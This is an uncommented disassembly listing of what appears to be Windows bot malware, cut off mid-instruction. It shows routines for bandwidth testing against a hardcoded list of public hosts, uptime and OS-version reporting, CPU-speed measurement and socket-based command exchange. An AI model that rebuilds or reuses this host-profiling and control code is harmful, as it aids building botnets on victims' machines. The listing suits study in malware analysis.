sub_41A9BC+1D9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AB7A: ; CODE XREF: sub_41A9BC+147j push [ebp+var_4] call dword_4C939C push [ebp+var_8] call sub_41BA31 push esi call sub_41BA31 pop ecx pop ecx loc_41AB93: ; CODE XREF: sub_41A9BC+19j ; sub_41A9BC+42j ... xor eax, eax jmp short loc_41AB75 sub_41A9BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB97 proc near ; CODE XREF: sub_401AC7+2E2Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A9A2 push [ebp+eax*4+var_3C] call sub_41A9BC push 8 mov esi, eax call sub_41A9A2 push [ebp+eax*4+var_3C] call sub_41A9BC add esp, 10h test esi, esi jz short loc_41AC98 test eax, eax jz short loc_41AC94 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41AC9A ; --------------------------------------------------------------------------- loc_41AC94: ; CODE XREF: sub_41AB97+F4j mov ebx, esi jmp short loc_41AC9A ; --------------------------------------------------------------------------- loc_41AC98: ; CODE XREF: sub_41AB97+F0j mov ebx, eax loc_41AC9A: ; CODE XREF: sub_41AB97+FBj ; sub_41AB97+FFj push 0Ch call sub_41A9A2 push [ebp+eax*4+var_6C] call sub_41A9BC push 0Ch mov edi, eax call sub_41A9A2 push [ebp+eax*4+var_6C] call sub_41A9BC add esp, 10h test edi, edi jz short loc_41ACD2 test eax, eax jz short loc_41ACCE lea esi, [eax+edi] shr esi, 1 jmp short loc_41ACD4 ; --------------------------------------------------------------------------- loc_41ACCE: ; CODE XREF: sub_41AB97+12Ej mov esi, edi jmp short loc_41ACD4 ; --------------------------------------------------------------------------- loc_41ACD2: ; CODE XREF: sub_41AB97+12Aj mov esi, eax loc_41ACD4: ; CODE XREF: sub_41AB97+135j ; sub_41AB97+139j push 6 call sub_41A9A2 push [ebp+eax*4+var_1C] call sub_41A9BC push 6 mov edi, eax call sub_41A9A2 push [ebp+eax*4+var_1C] call sub_41A9BC add esp, 10h test edi, edi jz short loc_41AD0C test eax, eax jz short loc_41AD08 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD0E ; --------------------------------------------------------------------------- loc_41AD08: ; CODE XREF: sub_41AB97+168j mov ecx, edi jmp short loc_41AD0E ; --------------------------------------------------------------------------- loc_41AD0C: ; CODE XREF: sub_41AB97+164j mov ecx, eax loc_41AD0E: ; CODE XREF: sub_41AB97+16Fj ; sub_41AB97+173j xor eax, eax test ebx, ebx jz short loc_41AD1B mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD1E ; --------------------------------------------------------------------------- loc_41AD1B: ; CODE XREF: sub_41AB97+17Bj push 2 pop edi loc_41AD1E: ; CODE XREF: sub_41AB97+182j test esi, esi jz short loc_41AD26 add eax, esi jmp short loc_41AD27 ; --------------------------------------------------------------------------- loc_41AD26: ; CODE XREF: sub_41AB97+189j dec edi loc_41AD27: ; CODE XREF: sub_41AB97+18Dj test ecx, ecx jz short loc_41AD2F add eax, ecx jmp short loc_41AD30 ; --------------------------------------------------------------------------- loc_41AD2F: ; CODE XREF: sub_41AB97+192j dec edi loc_41AD30: ; CODE XREF: sub_41AB97+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A1B8 push eax call sub_41C006 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_26C] push eax call sub_415CEE add esp, 30h pop edi pop esi pop ebx leave retn sub_41AB97 endp ; =============== S U B R O U T I N E ======================================= sub_41AD74 proc near ; CODE XREF: sub_401AC7+2565p ; sub_401AC7+29B3p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 26A0729h nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4D95D0 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C100 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AD74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADDD proc near ; CODE XREF: sub_417269+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26E0636h test eax, eax jz short loc_41AE70 cmp [ebp+var_90], 4 jnz short loc_41AE46 cmp [ebp+var_8C], esi jnz short loc_41AE2E cmp [ebp+var_84], 1 jnz short loc_41AE21 push 1 pop esi loc_41AE21: ; CODE XREF: sub_41ADDD+3Fj cmp [ebp+var_84], 2 jnz short loc_41AE70 push 1 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE2E: ; CODE XREF: sub_41ADDD+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE3B loc_41AE37: ; CODE XREF: sub_41ADDD+78j push 2 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE3B: ; CODE XREF: sub_41ADDD+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AE70 jmp short loc_41AE60 ; --------------------------------------------------------------------------- loc_41AE46: ; CODE XREF: sub_41ADDD+2Ej cmp [ebp+var_90], 5 jnz short loc_41AE70 cmp [ebp+var_8C], esi jz short loc_41AE37 cmp [ebp+var_8C], 1 jnz short loc_41AE64 loc_41AE60: ; CODE XREF: sub_41ADDD+67j push 3 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE64: ; CODE XREF: sub_41ADDD+81j cmp [ebp+var_8C], 2 jnz short loc_41AE70 push 7 loc_41AE6F: ; CODE XREF: sub_41ADDD+4Fj ; sub_41ADDD+5Cj ... pop esi loc_41AE70: ; CODE XREF: sub_41ADDD+25j ; sub_41ADDD+4Bj ... mov eax, esi pop esi leave retn sub_41ADDD endp ; =============== S U B R O U T I N E ======================================= sub_41AE75 proc near ; CODE XREF: sub_41AF2B+290p push ebx push esi push edi mov esi, 0F4240h loc_41AE7D: ; CODE XREF: sub_41AE75+2Fj ; sub_41AE75+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 268051Bh nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DBB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AE7D jb short loc_41AEAC cmp ebx, esi ja short loc_41AE7D loc_41AEAC: ; CODE XREF: sub_41AE75+31j push 0 push 64h push edi push ebx call sub_41DC20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF1F jb short loc_41AECB cmp esi, 50h jnb short loc_41AED0 loc_41AECB: ; CODE XREF: sub_41AE75+4Fj push 4Bh xor edx, edx pop eax loc_41AED0: ; CODE XREF: sub_41AE75+54j test ecx, ecx ja short loc_41AF1F jb short loc_41AEDB cmp esi, 47h jnb short loc_41AEE0 loc_41AEDB: ; CODE XREF: sub_41AE75+5Fj push 42h xor edx, edx pop eax loc_41AEE0: ; CODE XREF: sub_41AE75+64j test ecx, ecx ja short loc_41AF1F jb short loc_41AEEB cmp esi, 37h jnb short loc_41AEF0 loc_41AEEB: ; CODE XREF: sub_41AE75+6Fj push 32h xor edx, edx pop eax loc_41AEF0: ; CODE XREF: sub_41AE75+74j test ecx, ecx ja short loc_41AF1F jb short loc_41AEFB cmp esi, 26h jnb short loc_41AF00 loc_41AEFB: ; CODE XREF: sub_41AE75+7Fj push 21h xor edx, edx pop eax loc_41AF00: ; CODE XREF: sub_41AE75+84j test ecx, ecx ja short loc_41AF1F jb short loc_41AF0B cmp esi, 1Eh jnb short loc_41AF10 loc_41AF0B: ; CODE XREF: sub_41AE75+8Fj push 19h xor edx, edx pop eax loc_41AF10: ; CODE XREF: sub_41AE75+94j test ecx, ecx ja short loc_41AF1F jb short loc_41AF1B cmp esi, 0Ah jnb short loc_41AF1F loc_41AF1B: ; CODE XREF: sub_41AE75+9Fj xor eax, eax xor edx, edx loc_41AF1F: ; CODE XREF: sub_41AE75+4Dj ; sub_41AE75+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF2B proc near ; CODE XREF: sub_401AC7+2711p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43B4B8 mov [ebp+var_CC], 94h nop call near ptr 26E0636h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AFB2 cmp [ebp+var_C4], ebx jnz short loc_41AF8E cmp [ebp+var_BC], 1 jnz short loc_41AF78 mov [ebp+var_4], offset dword_431630 loc_41AF78: ; CODE XREF: sub_41AF2B+44j cmp [ebp+var_BC], 2 jnz loc_41B02D mov [ebp+var_4], offset dword_43162C jmp short loc_41AFFE ; --------------------------------------------------------------------------- loc_41AF8E: ; CODE XREF: sub_41AF2B+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AFA0 mov [ebp+var_4], offset dword_431628 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFA0: ; CODE XREF: sub_41AF2B+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AFEE mov [ebp+var_4], offset dword_431624 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFB2: ; CODE XREF: sub_41AF2B+33j cmp [ebp+var_C8], 5 jnz short loc_41AFEE cmp [ebp+var_C4], ebx jnz short loc_41AFCC mov [ebp+var_4], offset dword_431620 jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFCC: ; CODE XREF: sub_41AF2B+96j cmp [ebp+var_C4], 1 jnz short loc_41AFDE mov [ebp+var_4], offset dword_43161C jmp short loc_41AFF5 ; --------------------------------------------------------------------------- loc_41AFDE: ; CODE XREF: sub_41AF2B+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AFF5 loc_41AFEE: ; CODE XREF: sub_41AF2B+7Cj ; sub_41AF2B+8Ej mov [ebp+var_4], offset dword_431614 loc_41AFF5: ; CODE XREF: sub_41AF2B+73j ; sub_41AF2B+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B02D loc_41AFFE: ; CODE XREF: sub_41AF2B+61j cmp [ebp+var_B8], bl jz short loc_41B02D lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_4363DC push eax call sub_41C006 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B02D: ; CODE XREF: sub_41AF2B+54j ; sub_41AF2B+D1j ... mov ax, word_437BD4 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4C91E4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B066 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B066: ; CODE XREF: sub_41AF2B+12Cj push [ebp+arg_4] call sub_40A9FA pop ecx push eax call dword_4C9344 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4C92BC cmp eax, ebx jz short loc_41B08F push dword ptr [eax] jmp short loc_41B094 ; --------------------------------------------------------------------------- loc_41B08F: ; CODE XREF: sub_41AF2B+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B094: ; CODE XREF: sub_41AF2B+162j lea eax, [ebp+var_3E4] push eax call sub_41C006 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2680000h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A4A0 push ebx mov esi, 409h push ebx push esi call near ptr 2760000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 27514C3h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2860000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C151 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416D8D push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41AD74 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A9FA pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416C7D pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416C7D pop ecx pop ecx push eax call sub_41AE75 push edx push eax push offset dword_43A3C4 push 200h push [ebp+arg_0] call sub_41C100 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1DF proc near ; CODE XREF: sub_401AC7+273Fp ; sub_401AC7+71F4p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BD10 add esp, 0Ch cmp dword_4C93EC, 0 jnz short loc_41B253 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4C91C8 test eax, eax jnz short loc_41B234 lea eax, [ebp+var_8C] push offset dword_43A518 push eax call sub_41C006 pop ecx pop ecx loc_41B234: ; CODE XREF: sub_41B1DF+40j test [ebp+var_C], 1 jz short loc_41B24C push offset dword_43A510 loc_41B23F: ; CODE XREF: sub_41B1DF+72j lea eax, [ebp+var_8] push eax call sub_41C006 pop ecx pop ecx jmp short loc_41B272 ; --------------------------------------------------------------------------- loc_41B24C: ; CODE XREF: sub_41B1DF+59j push offset off_43A50C jmp short loc_41B23F ; --------------------------------------------------------------------------- loc_41B253: ; CODE XREF: sub_41B1DF+28j mov esi, offset off_43A508 lea eax, [ebp+var_8] push esi push eax call sub_41C006 lea eax, [ebp+var_8C] push esi push eax call sub_41C006 add esp, 10h loc_41B272: ; CODE XREF: sub_41B1DF+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A9FA pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A4C4 push 200h push [ebp+arg_0] call sub_41C100 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B1DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2A5 proc near ; DATA XREF: sub_401AC7+75A0o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A5F8 call sub_41BD10 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BD10 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BD10 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BD10 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BD10 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B960 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4C9200 test eax, eax jz loc_41B43F cmp [ebp+var_34], ebx jbe short loc_41B37C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BD70 add esp, 0Ch loc_41B37C: ; CODE XREF: sub_41B2A5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B39A push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BD70 add esp, 0Ch loc_41B39A: ; CODE XREF: sub_41B2A5+DEj cmp [ebp+var_20], ebx jbe short loc_41B3B4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BD70 add esp, 0Ch loc_41B3B4: ; CODE XREF: sub_41B2A5+F8j cmp [ebp+var_18], ebx jbe short loc_41B3CE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BD70 add esp, 0Ch loc_41B3CE: ; CODE XREF: sub_41B2A5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4C92B4 call dword_4C92D8 mov esi, eax cmp esi, ebx jz short loc_41B457 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4C92CC cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B45E push ebx push ebx push ebx push ebx push eax call dword_4C9278 test eax, eax jz short loc_41B438 push offset dword_43A5DC jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B438: ; CODE XREF: sub_41B2A5+18Aj push offset unk_43A5A0 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B43F: ; CODE XREF: sub_41B2A5+B7j lea eax, [ebp+var_55C] push offset dword_43A584 push eax call sub_41C006 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B471 ; --------------------------------------------------------------------------- loc_41B457: ; CODE XREF: sub_41B2A5+153j push offset unk_43A558 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B45E: ; CODE XREF: sub_41B2A5+17Bj push offset unk_43A528 loc_41B463: ; CODE XREF: sub_41B2A5+191j ; sub_41B2A5+198j ... lea eax, [ebp+var_55C] push eax call sub_41C006 pop ecx pop ecx loc_41B471: ; CODE XREF: sub_41B2A5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B49C push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409862 add esp, 14h loc_41B49C: ; CODE XREF: sub_41B2A5+1D2j lea eax, [ebp+var_55C] push eax call sub_415CEE pop ecx push esi call dword_4C9338 push [ebp+var_4] call dword_4C9338 push [ebp+var_1D8] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx sub_41B2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B4CF proc near ; CODE XREF: sub_401AC7+4FA4p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4D960C push 0 push esi call sub_41BD10 push [esp+10h+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C100 add esp, 1Ch pop esi retn sub_41B4CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4FB proc near ; CODE XREF: ___:0041B7E3p ; ___:0041B800p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4CC030 lea edi, [ebp+var_C] mov ax, word_43A5FC movsd movsb mov esi, offset dword_4D970C lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_433ED8 movsd mov [ebp+var_6], ax mov ax, word_4C91BC movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B5C7 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B54D: ; CODE XREF: sub_41B4FB+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B56D dec eax jnz short loc_41B5BB push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B581 ; --------------------------------------------------------------------------- loc_41B56D: ; CODE XREF: sub_41B4FB+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_6] loc_41B581: ; CODE XREF: sub_41B4FB+70j push eax push edi call dword_4C9354 push ebx call sub_41B960 pop ecx cmp eax, 2 push esi jnz short loc_41B59D push 4 lea eax, [ebp+var_C] jmp short loc_41B5A2 ; --------------------------------------------------------------------------- loc_41B59D: ; CODE XREF: sub_41B4FB+99j push 5 lea eax, [ebp+var_14] loc_41B5A2: ; CODE XREF: sub_41B4FB+A0j push eax push edi call dword_4C9354 push esi push ebx call sub_41B960 pop ecx push eax push ebx push edi call dword_4C9354 loc_41B5BB: ; CODE XREF: sub_41B4FB+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B54D pop ebx jmp short loc_41B63D ; --------------------------------------------------------------------------- loc_41B5C7: ; CODE XREF: sub_41B4FB+42j dec eax jz short loc_41B5E6 dec eax jnz short loc_41B63D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5FD ; --------------------------------------------------------------------------- loc_41B5E6: ; CODE XREF: sub_41B4FB+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4C9354 push esi push 1 lea eax, [ebp+var_6] loc_41B5FD: ; CODE XREF: sub_41B4FB+E9j push eax push edi call dword_4C9354 push [ebp+arg_4] call sub_41B960 pop ecx cmp eax, 2 push esi jnz short loc_41B61B push 4 lea eax, [ebp+var_C] jmp short loc_41B620 ; --------------------------------------------------------------------------- loc_41B61B: ; CODE XREF: sub_41B4FB+117j push 5 lea eax, [ebp+var_14] loc_41B620: ; CODE XREF: sub_41B4FB+11Ej push eax push edi call dword_4C9354 push esi push [ebp+arg_4] call sub_41B960 pop ecx push eax push [ebp+arg_4] push edi call dword_4C9354 loc_41B63D: ; CODE XREF: sub_41B4FB+CAj ; sub_41B4FB+D0j pop edi pop esi leave retn sub_41B4FB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43A614 lea edi, [ebp-38h] mov ax, word_433ED8 movsd movsd movsd movsb mov esi, offset dword_43A610 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4CC030 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43A60C lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43A608 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43A604 lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B6C4 push eax call dword_4C939C loc_41B6C4: ; CODE XREF: ___:0041B6BBj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4C9344 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4C9304 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4C92AC test eax, eax jnz loc_41B7C0 loc_41B6FC: ; CODE XREF: ___:0041B76Ej ; ___:0041B7A5j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4C931C cmp eax, esi jle loc_41B7CE cmp eax, 0FFFFFFFFh jz loc_41B7CE mov eax, edi sub eax, esi jz short loc_41B770 dec eax jz short loc_41B73E dec eax jz short loc_41B7AA jmp short loc_41B7A0 ; --------------------------------------------------------------------------- loc_41B73E: ; CODE XREF: ___:0041B737j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41B7C0 lea eax, [ebp-6] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4C9354 push 2 pop edi jmp short loc_41B6FC ; --------------------------------------------------------------------------- loc_41B770: ; CODE XREF: ___:0041B734j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41B7C0 lea eax, [ebp-38h] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4C9354 push 1 pop edi loc_41B7A0: ; CODE XREF: ___:0041B73Cj cmp edi, 3 jz short loc_41B7CE jmp loc_41B6FC ; --------------------------------------------------------------------------- loc_41B7AA: ; CODE XREF: ___:0041B73Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call 